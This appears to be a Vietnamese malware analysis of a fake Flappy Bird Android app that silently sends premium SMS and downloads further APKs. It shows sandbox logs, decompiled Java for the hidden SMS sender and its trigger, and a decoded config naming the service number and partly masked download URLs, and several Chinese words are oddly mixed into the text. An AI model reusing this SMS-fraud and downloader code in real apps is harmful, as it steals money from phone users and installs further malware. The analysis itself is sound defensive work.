Tổng Quan Về Vụ Việc
Vào đầu năm 2014, trò chơi Flappy Bird đạt được độ phổ biến cực cao trước khi bị gỡ bỏ khỏi các kho ứng dụng chính thức. Ngay sau đó, nhiều phiên bản sao chép xuất hiện, trong đó có những ứng dụng chứa mã độc. Một mẫu cụ thể đã được phát hiện có khả năng gửi tin nhắn SMS ngầm mà người dùng không hề hay biết.
Mã hash MD5 của file APK độc hại này là: 6c357ac34d061c97e6237ce9bd1fe003.
Quá trình phân tích được thực hiện thông qua hai phương pháp chính: phân tích động (dynamic analysis) để quan sát hành vi运行时 và phân tích tĩnh (static analysis) để xem xét mã nguồn sau khi dịch ngược.
Thiết Lập Môi Trường Phân Tích Động
Công cụ chính được sử dụng là DroidBox, một khung phân tích động dành cho Android. Để vận hành, cần chuẩn bị môi trường Linux (ví dụ: Ubuntu) với các thành phần sau:
- Python cùng các thư viện hỗ trợ vẽ đồ thị như
pylabvàmatplotlib. - Android SDK để chạy máy ảo (Emulator).
- DroidBox script.
Cấu hình biến môi trường để truy cập công cụ SDK từ mọi thư mục:
export PATH=$PATH:/path/to/android-sdk/tools/
export PATH=$PATH:/path/to/android-sdk/platform-tools/
Sau khi tải và giải nén DroidBox, tiến hành tạo một máy ảo Android (AVD) phiên bản 4.2.1. Khởi chạy phân tích bằng lệnh:
./droidbox.sh flappy-bird.apk
Hệ thống sẽ ghi lại toàn bộ nhật ký hoạt động của ứng dụng trong môi trường sandbox.
Kết Quả Phân Tích Động
DroidBox xuất ra日志 dưới định dạng JSON. Qua việc kiểm tra các log này, hai hành vi đáng ngờ đã được xác định rõ ràng:
1. Gửi Tin Nhắn SMS
Ứng dụng thực hiện gửi tin nhắn đến đầu số dịch vụ mà không có sự tương tác rõ ràng từ người dùng. Dữ liệu log ghi nhận:
"sendsms": {
"message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"number": "7740"
}
Nội dung tin nhắn được mã hóa một phần và gửi đến số 7740.
2. Truy Cập Mạng
Ứng dụng kết nối đến các địa chỉ IP cụ thể để tải dữ liệu. Một yêu cầu HTTP GET được phát hiện:
"sendnet": {
"desthost": "210.***.***.195",
"data": "GET /bookmark/getServiceCode?price=15000 HTTP/1.1..."
}
Khi giải mã dữ liệu hex, ta thấy ứng dụng gọi API để lấy mã dịch vụ dựa trên giá tiền. Kết quả trả về chính là số điện thoại dùng để gửi SMS (ví dụ: giá 15000 trả về số 7740). Ngoài ra, ứng dụng còn tải xuống một file APK khác từ địa chỉ http://210.***.**.196/app/flappy.apk, cho thấy chức năng của một bộ tải xuống (downloader).
Phân Tích Tĩnh Mã Nguồn
Để hiểu rõ cơ chế hoạt động, file APK được dịch ngược sử dụng dex2jar và xem mã nguồn bằng JD-GUI. File classes.dex chứa logic chính của ứng dụng.
Lớp Xử Lý SMS
Một lớp có tên SmsBroadcaster (tương ứng với SendSMS trong bản gốc) chịu trách nhiệm gửi tin nhắn. Mã nguồn đã được tái cấu trúc để minh họa logic:
package com.hdc.ultilities;
import android.telephony.SmsManager;
import android.content.Context;
import android.app.PendingIntent;
import android.content.Intent;
public class SmsBroadcaster {
public static String targetNumber;
public static int retryLimit;
public static void executeSmsTransmission(String content, String recipient, Context ctx, String prefix, int count, String suffix) {
targetNumber = recipient.trim();
retryLimit = count;
new Thread(() -> {
try {
Intent sentIntent = new Intent("SMS_SENT_ACTION");
PendingIntent sentPI = PendingIntent.getBroadcast(ctx, 0, sentIntent, 0);
SmsManager smsService = SmsManager.getDefault();
// Gửi tin nhắn văn bản
smsService.sendTextMessage(targetNumber, null, content, sentPI, null);
} catch (Exception e) {
e.printStackTrace();
}
}).start();
}
}
Đoạn mã trên sử dụng SmsManager để gửi tin nhắn ngầm. Các PendingIntent được thiết lập để chặn thông báo gửi thành công hoặc thất bại từ hệ thống, nhằm giấu hành vi khỏi người dùng.
Lớp Hoạt Động Chính
Lớp EntryPointActivity (tương ứng MainActivity) chứa logic kích hoạt hành vi độc hại. Khi người dùng tương tác với các hộp thoại xác nhận, phương thức gửi SMS được gọi.
public void showConfirmationDialog(String message, int mode) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(message);
builder.setPositiveButton("Đồng ý", (dialog, which) -> {
// Kiểm tra kết nối mạng trước khi thực hiện
if (isNetworkAvailable()) {
// Kích hoạt gửi SMS dựa trên cấu hình mạng
if (carrierType.equals("VIETNAM_MOBILE")) {
SmsBroadcaster.executeSmsTransmission(
smsContent,
serviceCode,
this,
prefixCode,
discountRate,
suffixCode
);
}
// Tải thêm ứng dụng khác
downloadAdditionalApk();
}
});
builder.show();
}
Logic này giải thích为何 trong phân tích động thấy có nhiều tin nhắn được gửi đi: mỗi lần hộp thoại hiển thị và người dùng nhấn chấp nhận, quy trình gửi SMS lại được kích hoạt.
Tệp Cấu Hình Ẩn
Thông tin về số điện thoại, nội dung tin nhắn và URL được lưu trữ trong một file cấu hình mã hóa Base64 nằm trong thư mục tài nguyên. Sau khi giải mã, cấu trúc JSON như sau:
{
"sv_code_active": "7740",
"mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000",
"items": [
{
"link": "http://andr****ot.net/app/flappy.apk",
"serviceCode": "7740"
}
]
}
Dữ liệu này xác nhận ứng dụng không chỉ đánh cắp tiền qua SMS mà còn đóng vai trò là cửa ngõ để tải xuống và cài đặt thêm các ứng dụng độc hại khác vào thiết bị của nạn nhân.